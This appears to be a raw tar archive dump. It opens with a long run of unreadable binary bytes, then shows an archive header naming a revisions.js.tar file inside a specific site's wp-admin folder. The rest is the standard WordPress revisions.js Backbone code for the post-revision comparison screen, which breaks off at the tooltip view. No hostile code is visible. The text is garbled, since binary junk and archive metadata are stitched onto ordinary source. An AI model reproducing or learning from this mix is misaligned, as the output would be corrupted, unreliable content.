8�cI�IvRa��m��E�^��`2�?��W�bUU����G�uco�u l��UD$q�n�/�c��c���#�5s^^.��W��e���BA����
�9D����>	�6u���a;�t�$��&{e��V�ީXm�0;�u�Ĭ�a�����
]W�4�Uw���jU��7z����	5�Nɹ�Gu��}��&)�!F�5$�-'W��S�v�����=E ����0�sU�)*���V�O�D�O�l�ۃ�S�,����MwV�b9�<�P:��?z��+

�׃�+6Zж�����-3/a�n���5����-�+˷5
���f��k���z�Q�J;<%v�F�S�-���0q#K����K�ߎ�[���Hn��sB� ��Gҝ…�f ���ɩ�
M�dv���'Ɇ�h�ñ��;E��ԀV��1�3��s�
�H�=y].`�`����&��g��R��xHLANz%	+@,'o�r���u(a���m��2�IIF=KE�5���Aý�_U����D�|(��6�ݘMR+�K?2�(�qv�~>��w�";=p_���Q�֥�`x�u�a�)���	1�j݁��-��̪I��U%������^[���R�i��Aκ�C�ҼC�:��O�h+�ĉv��p��؜*7V}�:J8rr�e�I��)"T]����
��
��r>�	�^��:fo�z��͹a�AdbT禢6��_�Njc�s��A��}b�Ez��C�+�K���󟓫�͌K��ڠ�#�;V\��;��X�{&&��o"-�s�X���2
L�[闽�z����r�t�ҩ�#W�4�����e>=�4������6b�����C�����=(#mp���%�� ��%:/qA���d� ���{�&���wvǗ��6���p� m���'�Īb`�h��w�9���FX�$���{��T� �+���\V�.�ɟ��6�����ګ��������g��b���r�ď�P����2Bc�Q�<s*NJ�bi>̦-�ʕ������|Qa��D!��5�Ѽ�?/0?D�`��+HtƐچ$z��?OR��*[Rט>��E�&W����t\��y�)���c���ן2��]�u��������N�f\KI"�!��
�'�����x�D>�M��Fۈ��[D9�or�P��w���+\�i:��a����X�w{�})�m1+��H�}ӧ�N�� ���l3꜠��qZp�����\�Z炞����*�q���Fk��G��sQ��ڼ��t������(����9��F�x@2��1��ܥ0�"�cQ"5D\�h�R�Ji�T��z'xoW���u�<�h(�uG�j�5yQ�gzR*;�~�N��ϝ�4�h؉�Wd<�Kn�K��+x�u6���k����ї*��]ο�愈�W�y����;��p��҇p���e'�VvwbP�˰d�(L��OW�D�&Gv�,*��j�G�ȇ�=��%�J۟�����U���r���u��]9e�#�|7�g�,��z�i]���J(l_���>���WҠ�?�Y׊���Q���4u�G��K
+���v������uj��۷\�U�>�5U�="X^�
�!��j�̖^�R:o<
���/J����i�]�M��}���4í73����u���l-���0�V{y��S8�S6�L2�lb�w��lC>}Z�����r�)r���օ�!d�v���;5�'��{��n���&sVR*�k��c{��jX�Ϡn��E�G��&�L�3(�����|Mv�M!S"��݅50��9�t܂�	_��'
R��|z�Sĩ����U���~н_B	�zS�3�jf|b�FR��}����U���Z���T�ď�V�z�������J�z��/u�Wp��|��)eC��᪭�fwa
�.d#�B0��v���?�;H���a�
<�xX�ژP�,.ʦ-�Ti���F`6�T@�3lAG��i�R��A��\����t^
��r�y����]��I�l�sV8�F�p�<�2�x�������O�K��w�ϷϽe����������y�b��N'��d3	=)��M�E���~��
)�$�
;�N��5�|
����.z�9�~G����:M�߭$�:��-j�,eC�u����I]�3����<!���&r�:��p]S����{��.�7럠�u�7x��֡�����<kїM����A��}j�J��1�nx�[J�CmS�h&3�t\o��/
B�d�&%uKg�ׂ�Z�C�O�Q�2iTnO�A?#ݗT7C-�P�
�
e�����Xm.6�r���G��z�S�>��&���}�e��Ԉ�Tr j~������� �ᘎp�rvz^�9�w�{��b�{�c������Ӑn��Ɯ��1�m��B��ő�<@}�p���]�T��m��J��	�Q��Zi͢$�<�I���oC$�-7D��
��ہr�6�rq���$��M�̀l�?F�6}�QJ�O^�;D��3T�w�	6i��'6>���|j�G�8�5
�&��o��x��͎ͽZU7p�f�Βpos����"�d�t��#��W�YʏN�f�R>	�wfn���b�θ�_�tick��H�v<S�H��bSN�V�fp[I�� ".��f�˯Y��J�M�e�9���u�)�h�*��,Pؗ.�goSʣ��Kެ+pE��g�w1�^�m�5�p��]�l��f}9ȝ.����	2H��b�$�*��7�
����T0�р�.fNn��_Om$���U������|�
�7d8?v�<�8{�`���!g@��,ͼ��jD�S��G�i�n��Xu�.���Z�B�a,�£-����M���6�(]��^��ͼOj;�/���h��4m�lSF �@��ȶ�*�%�k�z���EyUԫ֯�%��t�%^Ov��R>`x&�g�SXo�nL6hkL��,�a}���N�ϖe�,��lv�@8�@X|���y��K�o0�*k��K�J��e�L6[��e�KV��Xǝl��\W9
�4
P0x��ޮ/|À�g�k���:3���|�"3�ʌ�t8��z�{��M��[��rvO �僆��cŷ����	��{�� <�νQ�@�PX�g�cWbpOd((�#Z�I/䖱��d9�W�hI�̠!fL�"���,�L��������Q܏[��g��������1c!��{�2�l����((�p-K͜��̩�ې^����r�1�r��R:k�䨽���&�'6���p5h�jo�,d,�Oi�@e�Sj��3�,Q���4��.�Xx���n��d	�w�e��l�4KY�BS�3���iu�B$���p��N��'��X�g�z��X4�d��kk�����u���l윂��,��҂�}*�d��kW�]�.m��U~[��G&��Nj�2pF�g�D�
�Q��Q�_�s'�$����jX�@��dG�xhǢ��e{Y���Z�|���#��[>���}#86��#���O|��'4��ኻ��z��]�G��PoC��.`�*��@W�z��i� �\]$���@(&�j�C,��k~wr��ߓ2�nV�a��x����w�:�۷6W�x��Y�.RI��/�P7}��}|g%���K�n{���%E��r.>��3�3���<hh��ֳ*
Q/�E�e;����[�%au^W;��d�q8���J�0����z���1�s��)���:�/1	j7P���uϼOW�O�:��Ed��G ��l@/j��/T�'j��"�����c.�h&�x�,d"ޮ�M��I:s���w��4�B��Ŗ8>NJz��}�>J}jw�?���29ص�a�x{�ɩE���!�E����IF�A�+�_��}ӹ�qH��q#��w�k'���˿��JLO�p��z��O���S.|s��S�A�#7\E��F��S��H'��6
#�U\�4�W8�m�?��;R�PW�ȵ�]C���|�UE�T'��+�"�t��pH~k��#J#��:.�%�Y~�����(���O�l�2���W ��ҍ)d �O�@R��p�"A�	U�����]�COł5�L�|�]0:��s���@��`l���;��f�U<�L�C��LJ4��!Ӄe�i��;��k�&���)�HozEY@|���a�Ѐ��1g�u�:2㼊��陧���B;$�i3"�zQ,���'=6z�!�B��ޒ��4)�C����%�����uY��4�ާ�gB��'���s/�5hv�T'��X�����yU_[��;o�޻$���}^��)�Ս�=x��"���ӹ�dH\S�m���>��!��3��F���N�B{<s9R:mx}����3ڤ�y�iA��I�T��(��n^_���R���Ӳ�Oo&ɟ���S�r��5��K�d7'����Ɖ
^�Q�OR<<k�j��\�چ�e��5�=w�6)'���h�G�?��p����x����S�\��,A����JP{bI��\}K��H� �C���f��H���c�R�����.W�d��;AǓ�z>�UV<S9�<[�`�E%�M|�}�#(�L�,&@�i�b��n�#4��I8�m��:�,�"%҉"U%�D�崳i���dC�����b�����g��<xi5�G�#�>�d,����
��F�h�c^f�����%�ߎ={�����F_Q�廓���4�e�x�a��w�P�A�R���r�W�ϭw0�-�x�6MꝄ\�a�t���g�v�{�Y����Uj�[��.Y���[=�{hy���kc��{ڧR�?3��������j�����SގyV՘���$IW���UnMӼ6���+�<�C,!��)���fx+=��ߣ`fȧ`R�B<��;T��c)�ff�t�g�N	���
��b!лX��rs ��v�*I�ˋ�F�2�2�b�f�C$y�[J������8��iq��ɠ����kI��N��Ej3��f̣_Ov�ڐӋ>��د_���D���W�py��']U>-.�j����s
�<w`:�R����SW�ي:Ӛ��){���f,��y�<���ձ�>�~���mA�З̋�Ra�C�Y0u�������Ų�~Z]�&��8[�N���4��sh��#�=��=N[2
#v��#T����@�'�[�+��2�j(*��9�@a��M�����\��=s- �	&��s,Ոձ1�C��b�:{���f� �j�0�a�e>o�P�a���^H.��$Kjo���& ��Hu�>A�~T����so%���@R@@(J�WYq�0�Y! �mڮ�c!�W��58�ʥ�uqg�儣��YGr����6!�-H,��Б�D�������<�S���v�Z���F>��x%�?5E�6�z��cN��:���
��0_��٫�L�R'�P�f����(c��(��90j^��[���Vo��y�W����Suf��q�k<�vv37l�%��=�3V��7�9k7nd�P�	�>Az��T�Hn��za83�sL 6�n&�9Q��Y�)�~��� D"�Mwῒ|N�"����,�j6K
Z�����<JM��o��%iw�Na���[�.��F��L��*	O�3�@��D�#g���O2=�x$��$�󸠥n��M�U��cs��dF�` r�`��0zc�•\~E9�@"��;��=L��\$H��|)�g��V'�V�s�Ec���Յ�+��2�Z�}��/�5ٻ���y_{�]������w�/b��15��N�T*⛔�v���4��4�Vj|����*��p�ó��-6o10��4=�\�8�W��'g������Ίi
�RWWŬ4/��kYYp�EF�]�!�y@��Q�P|��ŀH�W�����9eX�"��������_���V�F�Uܠ��
�`ӱu���x��. Ը����-�ħ�����A!c$$P���FT�
���7�{��p$q`�L�t�k!�ٜe1�$4���r�:�d�?֙��̓��|�v
Ȍ_�|�>`���2����%�G���3{jz�����_�紋BD&z��-�y?�b���N	�4>��ih�n�?��6�������y�p�RF��7�:����e�;?�����"-nI�1�K��{7�T";
<E�mN��o��=ɻ{EN��Vb`@0��F�TJA�7eH(R,!H�n���-��4���r�I���w%�[&�f��. ���3H�G�
,i�|�7	P%����:rs��!��Ǘ�,.I�^v�٫�(�y��OA֡okm	�7!u
��G@��<$��
�^��r�NS-��0�P�LGG�:��
O���=m��)T����*�<���s��=ԑ�G�jFd%TD�z1�Ns"���jԻsN�@b�W�$�h� ����
`"4�ZGT�r?��M
�i~<a��!�9�q��K@_(C���s<�U��!Y�f���F�𨺟���=�7#5M���4�8Uښ���Mr��75����+W���3�S�j���Vw4	.�ɔC�͹$�����8!���H2�?���r�c���D��'P�N�+��z�f��Q}N�~�qi#=B���ͣ�;X�(f��(1��������7�mD2�~�8����xL�c�y�4���L�62u-�R(ڃx�J�d2y�2"&�8�	2da!C����|%��ٝ�i�Y�����h���S\,�h
l���F�.i�E�Y��P�����	����hID��2�o�o�A���f�1�)��!��=qL�:��̣
f:è��(�>���.ۼa�(=��C��׳T9�N݂6�tpwD!�qގ�c�=H��|����Ht��7��B�~���iJL�á�3�B]�D��J<(��`G�,m5əCH�X���h�H��yUN��h��
�]{^5aQ $fǀ8��͓���j��nG��P��<�J C����-�6��|~m��=ZpZ߅J���H�D�g=j�*�m��B�wHT@���J��2�$HW�I�GN7���pn3�MԜk4�N�i��`g�w�dǍ�ܩW!������?P���!��ˆ��ZI��㥥���Jv�	���뗓��B���/���s=��:�7�j�������?�+�[�0U��ڶ��p+K9���w�t�c����˞7��xZ�öA�!O_&K�%նt��=b�������{��Vew���Y��ڇ�gSj��e��­�;�}���m?��ag�پ��
K����H�b�< ���D>��Z���_P}�h�6σ��^�2K��Wf��p��pԁ�G3VQ�*\9$��;F5K6�u���K:��
⚬G1+�^��h�s]x���j�7->^�'x�,��P��H��+��ʁ�
$<l@���59��%*�SK#�ty���♸��_~�5t[��g�5���ssɋslY�q����H%R89�j|e?(M�o��~?y�|�L��'r�����*�y乒�:JD��m����x��-�����W?�E�2����vN��<�08?w��k���N�<�6N8��TL4��TM��$Hf���?�����X�f��Rkm�����G�Xo竪���X���k�$!��s�79��g�z�o2-�����
gy����ͬ��"�O�ˢ�
��P�;��r*īY��%��F}%y�j57/��ٯ���7�5����
��E7@���D��_:��7!dSi�.
'c��p<���P6��/���|�d>�g���.s,܎��lA�O�_��ZN�/�۝�OL�˩�xA2��?¿����
=`��q1�~��U����������������iE��revisions.js.tar000064400000106000150276633110007711 0ustar00home/natitnen/crestassured.com/wp-admin/js/revisions.js000064400000102200150261737050017310 0ustar00/**
 * @file Revisions interface functions, Backbone classes and
 * the revisions.php document.ready bootstrap.
 *
 * @output wp-admin/js/revisions.js
 */

/* global isRtl */

window.wp = window.wp || {};

(function($) {
	var revisions;
	/**
	 * Expose the module in window.wp.revisions.
	 */
	revisions = wp.revisions = { model: {}, view: {}, controller: {} };

	// Link post revisions data served from the back end.
	revisions.settings = window._wpRevisionsSettings || {};

	// For debugging.
	revisions.debug = false;

	/**
	 * wp.revisions.log
	 *
	 * A debugging utility for revisions. Works only when a
	 * debug flag is on and the browser supports it.
	 */
	revisions.log = function() {
		if ( window.console && revisions.debug ) {
			window.console.log.apply( window.console, arguments );
		}
	};

	// Handy functions to help with positioning.
	$.fn.allOffsets = function() {
		var offset = this.offset() || {top: 0, left: 0}, win = $(window);
		return _.extend( offset, {
			right:  win.width()  - offset.left - this.outerWidth(),
			bottom: win.height() - offset.top  - this.outerHeight()
		});
	};

	$.fn.allPositions = function() {
		var position = this.position() || {top: 0, left: 0}, parent = this.parent();
		return _.extend( position, {
			right:  parent.outerWidth()  - position.left - this.outerWidth(),
			bottom: parent.outerHeight() - position.top  - this.outerHeight()
		});
	};

	/**
	 * ========================================================================
	 * MODELS
	 * ========================================================================
	 */
	revisions.model.Slider = Backbone.Model.extend({
		defaults: {
			value: null,
			values: null,
			min: 0,
			max: 1,
			step: 1,
			range: false,
			compareTwoMode: false
		},

		initialize: function( options ) {
			this.frame = options.frame;
			this.revisions = options.revisions;

			// Listen for changes to the revisions or mode from outside.
			this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
			this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );

			// Listen for internal changes.
			this.on( 'change:from', this.handleLocalChanges );
			this.on( 'change:to', this.handleLocalChanges );
			this.on( 'change:compareTwoMode', this.updateSliderSettings );
			this.on( 'update:revisions', this.updateSliderSettings );

			// Listen for changes to the hovered revision.
			this.on( 'change:hoveredRevision', this.hoverRevision );

			this.set({
				max:   this.revisions.length - 1,
				compareTwoMode: this.frame.get('compareTwoMode'),
				from: this.frame.get('from'),
				to: this.frame.get('to')
			});
			this.updateSliderSettings();
		},

		getSliderValue: function( a, b ) {
			return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
		},

		updateSliderSettings: function() {
			if ( this.get('compareTwoMode') ) {
				this.set({
					values: [
						this.getSliderValue( 'to', 'from' ),
						this.getSliderValue( 'from', 'to' )
					],
					value: null,
					range: true // Ensures handles cannot cross.
				});
			} else {
				this.set({
					value: this.getSliderValue( 'to', 'to' ),
					values: null,
					range: false
				});
			}
			this.trigger( 'update:slider' );
		},

		// Called when a revision is hovered.
		hoverRevision: function( model, value ) {
			this.trigger( 'hovered:revision', value );
		},

		// Called when `compareTwoMode` changes.
		updateMode: function( model, value ) {
			this.set({ compareTwoMode: value });
		},

		// Called when `from` or `to` changes in the local model.
		handleLocalChanges: function() {
			this.frame.set({
				from: this.get('from'),
				to: this.get('to')
			});
		},

		// Receives revisions changes from outside the model.
		receiveRevisions: function( from, to ) {
			// Bail if nothing changed.
			if ( this.get('from') === from && this.get('to') === to ) {
				return;
			}

			this.set({ from: from, to: to }, { silent: true });
			this.trigger( 'update:revisions', from, to );
		}

	});

	revisions.model.Tooltip = Backbone.Model.extend({
		defaults: {
			revision: null,
			offset: {},
			hovering: false, // Whether the mouse is hovering.
			scrubbing: false // Whether the mouse is scrubbing.
		},

		initialize: function( options ) {
			this.frame = options.frame;
			this.revisions = options.revisions;
			this.slider = options.slider;

			this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
			this.listenTo( this.slider, 'change:hovering', this.setHovering );
			this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
		},


		updateRevision: function( revision ) {
			this.set({ revision: revision });
		},

		setHovering: function( model, value ) {
			this.set({ hovering: value });
		},

		setScrubbing: function( model, value ) {
			this.set({ scrubbing: value });
		}
	});

	revisions.model.Revision = Backbone.Model.extend({});

	/**
	 * wp.revisions.model.Revisions
	 *
	 * A collection of post revisions.
	 */
	revisions.model.Revisions = Backbone.Collection.extend({
		model: revisions.model.Revision,

		initialize: function() {
			_.bindAll( this, 'next', 'prev' );
		},

		next: function( revision ) {
			var index = this.indexOf( revision );

			if ( index !== -1 && index !== this.length - 1 ) {
				return this.at( index + 1 );
			}
		},

		prev: function( revision ) {
			var index = this.indexOf( revision );

			if ( index !== -1 && index !== 0 ) {
				return this.at( index - 1 );
			}
		}
	});

	revisions.model.Field = Backbone.Model.extend({});

	revisions.model.Fields = Backbone.Collection.extend({
		model: revisions.model.Field
	});

	revisions.model.Diff = Backbone.Model.extend({
		initialize: function() {
			var fields = this.get('fields');
			this.unset('fields');

			this.fields = new revisions.model.Fields( fields );
		}
	});

	revisions.model.Diffs = Backbone.Collection.extend({
		initialize: function( models, options ) {
			_.bindAll( this, 'getClosestUnloaded' );
			this.loadAll = _.once( this._loadAll );
			this.revisions = options.revisions;
			this.postId = options.postId;
			this.requests  = {};
		},

		model: revisions.model.Diff,

		ensure: function( id, context ) {
			var diff     = this.get( id ),
				request  = this.requests[ id ],
				deferred = $.Deferred(),
				ids      = {},
				from     = id.split(':')[0],
				to       = id.split(':')[1];
			ids[id] = true;

			wp.revisions.log( 'ensure', id );

			this.trigger( 'ensure', ids, from, to, deferred.promise() );

			if ( diff ) {
				deferred.resolveWith( context, [ diff ] );
			} else {
				this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
				_.each( ids, _.bind( function( id ) {
					// Remove anything that has an ongoing request.
					if ( this.requests[ id ] ) {
						delete ids[ id ];
					}
					// Remove anything we already have.
					if ( this.get( id ) ) {
						delete ids[ id ];
					}
				}, this ) );
				if ( ! request ) {
					// Always include the ID that started this ensure.
					ids[ id ] = true;
					request   = this.load( _.keys( ids ) );
				}

				request.done( _.bind( function() {
					deferred.resolveWith( context, [ this.get( id ) ] );
				}, this ) ).fail( _.bind( function() {
					deferred.reject();
				}) );
			}

			return deferred.promise();
		},

		// Returns an array of proximal diffs.
		getClosestUnloaded: function( ids, centerId ) {
			var self = this;
			return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
				return Math.abs( centerId - pair[1] );
			}).map( function( pair ) {
				return pair.join(':');
			}).filter( function( diffId ) {
				return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
			}).value();
		},

		_loadAll: function( allRevisionIds, centerId, num ) {
			var self = this, deferred = $.Deferred(),
				diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
			if ( _.size( diffs ) > 0 ) {
				this.load( diffs ).done( function() {
					self._loadAll( allRevisionIds, centerId, num ).done( function() {
						deferred.resolve();
					});
				}).fail( function() {
					if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
						deferred.reject();
					} else { // Request fewer diffs this time.
						self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
							deferred.resolve();
						});
					}
				});
			} else {
				deferred.resolve();
			}
			return deferred;
		},

		load: function( comparisons ) {
			wp.revisions.log( 'load', comparisons );
			// Our collection should only ever grow, never shrink, so `remove: false`.
			return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
				wp.revisions.log( 'load:complete', comparisons );
			});
		},

		sync: function( method, model, options ) {
			if ( 'read' === method ) {
				options = options || {};
				options.context = this;
				options.data = _.extend( options.data || {}, {
					action: 'get-revision-diffs',
					post_id: this.postId
				});

				var deferred = wp.ajax.send( options ),
					requests = this.requests;

				// Record that we're requesting each diff.
				if ( options.data.compare ) {
					_.each( options.data.compare, function( id ) {
						requests[ id ] = deferred;
					});
				}

				// When the request completes, clear the stored request.
				deferred.always( function() {
					if ( options.data.compare ) {
						_.each( options.data.compare, function( id ) {
							delete requests[ id ];
						});
					}
				});

				return deferred;

			// Otherwise, fall back to `Backbone.sync()`.
			} else {
				return Backbone.Model.prototype.sync.apply( this, arguments );
			}
		}
	});


	/**
	 * wp.revisions.model.FrameState
	 *
	 * The frame state.
	 *
	 * @see wp.revisions.view.Frame
	 *
	 * @param {object}                    attributes        Model attributes - none are required.
	 * @param {object}                    options           Options for the model.
	 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
	 */
	revisions.model.FrameState = Backbone.Model.extend({
		defaults: {
			loading: false,
			error: false,
			compareTwoMode: false
		},

		initialize: function( attributes, options ) {
			var state = this.get( 'initialDiffState' );
			_.bindAll( this, 'receiveDiff' );
			this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );

			this.revisions = options.revisions;

			this.diffs = new revisions.model.Diffs( [], {
				revisions: this.revisions,
				postId: this.get( 'postId' )
			} );

			// Set the initial diffs collection.
			this.diffs.set( this.get( 'diffData' ) );

			// Set up internal listeners.
			this.listenTo( this, 'change:from', this.changeRevisionHandler );
			this.listenTo( this, 'change:to', this.changeRevisionHandler );
			this.listenTo( this, 'change:compareTwoMode', this.changeMode );
			this.listenTo( this, 'update:revisions', this.updatedRevisions );
			this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
			this.listenTo( this, 'update:diff', this.updateLoadingStatus );

			// Set the initial revisions, baseUrl, and mode as provided through attributes.

			this.set( {
				to : this.revisions.get( state.to ),
				from : this.revisions.get( state.from ),
				compareTwoMode : state.compareTwoMode
			} );

			// Start the router if browser supports History API.
			if ( window.history && window.history.pushState ) {
				this.router = new revisions.Router({ model: this });
				if ( Backbone.History.started ) {
					Backbone.history.stop();
				}
				Backbone.history.start({ pushState: true });
			}
		},

		updateLoadingStatus: function() {
			this.set( 'error', false );
			this.set( 'loading', ! this.diff() );
		},

		changeMode: function( model, value ) {
			var toIndex = this.revisions.indexOf( this.get( 'to' ) );

			// If we were on the first revision before switching to two-handled mode,
			// bump the 'to' position over one.
			if ( value && 0 === toIndex ) {
				this.set({
					from: this.revisions.at( toIndex ),
					to:   this.revisions.at( toIndex + 1 )
				});
			}

			// When switching back to single-handled mode, reset 'from' model to
			// one position before the 'to' model.
			if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
				this.set({
					from: this.revisions.at( toIndex - 1 ),
					to:   this.revisions.at( toIndex )
				});
			}
		},

		updatedRevisions: function( from, to ) {
			if ( this.get( 'compareTwoMode' ) ) {
				// @todo Compare-two loading strategy.
			} else {
				this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
			}
		},

		// Fetch the currently loaded diff.
		diff: function() {
			return this.diffs.get( this._diffId );
		},

		/*
		 * So long as `from` and `to` are changed at the same time, the diff
		 * will only be updated once. This is because Backbone updates all of
		 * the changed attributes in `set`, and then fires the `change` events.
		 */
		updateDiff: function( options ) {
			var from, to, diffId, diff;

			options = options || {};
			from = this.get('from');
			to = this.get('to');
			diffId = ( from ? from.id : 0 ) + ':' + to.id;

			// Check if we're actually changing the diff id.
			if ( this._diffId === diffId ) {
				return $.Deferred().reject().promise();
			}

			this._diffId = diffId;
			this.trigger( 'update:revisions', from, to );

			diff = this.diffs.get( diffId );

			// If we already have the diff, then immediately trigger the update.
			if ( diff ) {
				this.receiveDiff( diff );
				return $.Deferred().resolve().promise();
			// Otherwise, fetch the diff.
			} else {
				if ( options.immediate ) {
					return this._ensureDiff();
				} else {
					this._debouncedEnsureDiff();
					return $.Deferred().reject().promise();
				}
			}
		},

		// A simple wrapper around `updateDiff` to prevent the change event's
		// parameters from being passed through.
		changeRevisionHandler: function() {
			this.updateDiff();
		},

		receiveDiff: function( diff ) {
			// Did we actually get a diff?
			if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
				this.set({
					loading: false,
					error: true
				});
			} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
				this.trigger( 'update:diff', diff );
			}
		},

		_ensureDiff: function() {
			return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
		}
	});


	/**
	 * ========================================================================
	 * VIEWS
	 * ========================================================================
	 */

	/**
	 * wp.revisions.view.Frame
	 *
	 * Top level frame that orchestrates the revisions experience.
	 *
	 * @param {object}                     options       The options hash for the view.
	 * @param {revisions.model.FrameState} options.model The frame state model.
	 */
	revisions.view.Frame = wp.Backbone.View.extend({
		className: 'revisions',
		template: wp.template('revisions-frame'),

		initialize: function() {
			this.listenTo( this.model, 'update:diff', this.renderDiff );
			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
			this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
			this.listenTo( this.model, 'change:error', this.updateErrorStatus );

			this.views.set( '.revisions-control-frame', new revisions.view.Controls({
				model: this.model
			}) );
		},

		render: function() {
			wp.Backbone.View.prototype.render.apply( this, arguments );

			$('html').css( 'overflow-y', 'scroll' );
			$('#wpbody-content .wrap').append( this.el );
			this.updateCompareTwoMode();
			this.renderDiff( this.model.diff() );
			this.views.ready();

			return this;
		},

		renderDiff: function( diff ) {
			this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
				model: diff
			}) );
		},

		updateLoadingStatus: function() {
			this.$el.toggleClass( 'loading', this.model.get('loading') );
		},

		updateErrorStatus: function() {
			this.$el.toggleClass( 'diff-error', this.model.get('error') );
		},

		updateCompareTwoMode: function() {
			this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
		}
	});

	/**
	 * wp.revisions.view.Controls
	 *
	 * The controls view.
	 *
	 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
	 */
	revisions.view.Controls = wp.Backbone.View.extend({
		className: 'revisions-controls',

		initialize: function() {
			_.bindAll( this, 'setWidth' );

			// Add the button view.
			this.views.add( new revisions.view.Buttons({
				model: this.model
			}) );

			// Add the checkbox view.
			this.views.add( new revisions.view.Checkbox({
				model: this.model
			}) );

			// Prep the slider model.
			var slider = new revisions.model.Slider({
				frame: this.model,
				revisions: this.model.revisions
			}),

			// Prep the tooltip model.
			tooltip = new revisions.model.Tooltip({
				frame: this.model,
				revisions: this.model.revisions,
				slider: slider
			});

			// Add the tooltip view.
			this.views.add( new revisions.view.Tooltip({
				model: tooltip
			}) );

			// Add the tickmarks view.
			this.views.add( new revisions.view.Tickmarks({
				model: tooltip
			}) );

			// Add the slider view.
			this.views.add( new revisions.view.Slider({
				model: slider
			}) );

			// Add the Metabox view.
			this.views.add( new revisions.view.Metabox({
				model: this.model
			}) );
		},

		ready: function() {
			this.top = this.$el.offset().top;
			this.window = $(window);
			this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
				var controls  = e.data.controls,
					container = controls.$el.parent(),
					scrolled  = controls.window.scrollTop(),
					frame     = controls.views.parent;

				if ( scrolled >= controls.top ) {
					if ( ! frame.$el.hasClass('pinned') ) {
						controls.setWidth();
						container.css('height', container.height() + 'px' );
						controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
							e.data.controls.setWidth();
						});
					}
					frame.$el.addClass('pinned');
				} else if ( frame.$el.hasClass('pinned') ) {
					controls.window.off('.wp.revisions.pinning');
					controls.$el.css('width', 'auto');
					frame.$el.removeClass('pinned');
					container.css('height', 'auto');
					controls.top = controls.$el.offset().top;
				} else {
					controls.top = controls.$el.offset().top;
				}
			});
		},

		setWidth: function() {
			this.$el.css('width', this.$el.parent().width() + 'px');
		}
	});

	// The tickmarks view.
	revisions.view.Tickmarks = wp.Backbone.View.extend({
		className: 'revisions-tickmarks',
		direction: isRtl ? 'right' : 'left',

		initialize: function() {
			this.listenTo( this.model, 'change:revision', this.reportTickPosition );
		},

		reportTickPosition: function( model, revision ) {
			var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
			thisOffset = this.$el.allOffsets();
			parentOffset = this.$el.parent().allOffsets();
			if ( index === this.model.revisions.length - 1 ) {
				// Last one.
				offset = {
					rightPlusWidth: thisOffset.left - parentOffset.left + 1,
					leftPlusWidth: thisOffset.right - parentOffset.right + 1
				};
			} else {
				// Normal tick.
				tick = this.$('div:nth-of-type(' + (index + 1) + ')');
				offset = tick.allPositions();
				_.extend( offset, {
					left: offset.left + thisOffset.left - parentOffset.left,
					right: offset.right + thisOffset.right - parentOffset.right
				});
				_.extend( offset, {
					leftPlusWidth: offset.left + tick.outerWidth(),
					rightPlusWidth: offset.right + tick.outerWidth()
				});
			}
			this.model.set({ offset: offset });
		},

		ready: function() {
			var tickCount, tickWidth;
			tickCount = this.model.revisions.length - 1;
			tickWidth = 1 / tickCount;
			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');

			_(tickCount).times( function( index ){
				this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
			}, this );
		}
	});

	// The metabox view.
	revisions.view.Metabox = wp.Backbone.View.extend({
		className: 'revisions-meta',

		initialize: function() {
			// Add the 'from' view.
			this.views.add( new revisions.view.MetaFrom({
				model: this.model,
				className: 'diff-meta diff-meta-from'
			}) );

			// Add the 'to' view.
			this.views.add( new revisions.view.MetaTo({
				model: this.model
			}) );
		}
	});

	// The revision meta view (to be extended).
	revisions.view.Meta = wp.Backbone.View.extend({
		template: wp.template('revisions-meta'),

		events: {
			'click .restore-revision': 'restoreRevision'
		},

		initialize: function() {
			this.listenTo( this.model, 'update:revisions', this.render );
		},

		prepare: function() {
			return _.extend( this.model.toJSON()[this.type] || {}, {
				type: this.type
			});
		},

		restoreRevision: function() {
			document.location = this.model.get('to').attributes.restoreUrl;
		}
	});

	// The revision meta 'from' view.
	revisions.view.MetaFrom = revisions.view.Meta.extend({
		className: 'diff-meta diff-meta-from',
		type: 'from'
	});

	// The revision meta 'to' view.
	revisions.view.MetaTo = revisions.view.Meta.extend({
		className: 'diff-meta diff-meta-to',
		type: 'to'
	});

	// The checkbox view.
	revisions.view.Checkbox = wp.Backbone.View.extend({
		className: 'revisions-checkbox',
		template: wp.template('revisions-checkbox'),

		events: {
			'click .compare-two-revisions': 'compareTwoToggle'
		},

		initialize: function() {
			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
		},

		ready: function() {
			if ( this.model.revisions.length < 3 ) {
				$('.revision-toggle-compare-mode').hide();
			}
		},

		updateCompareTwoMode: function() {
			this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
		},

		// Toggle the compare two mode feature when the compare two checkbox is checked.
		compareTwoToggle: function() {
			// Activate compare two mode?
			this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
		}
	});

	// The tooltip view.
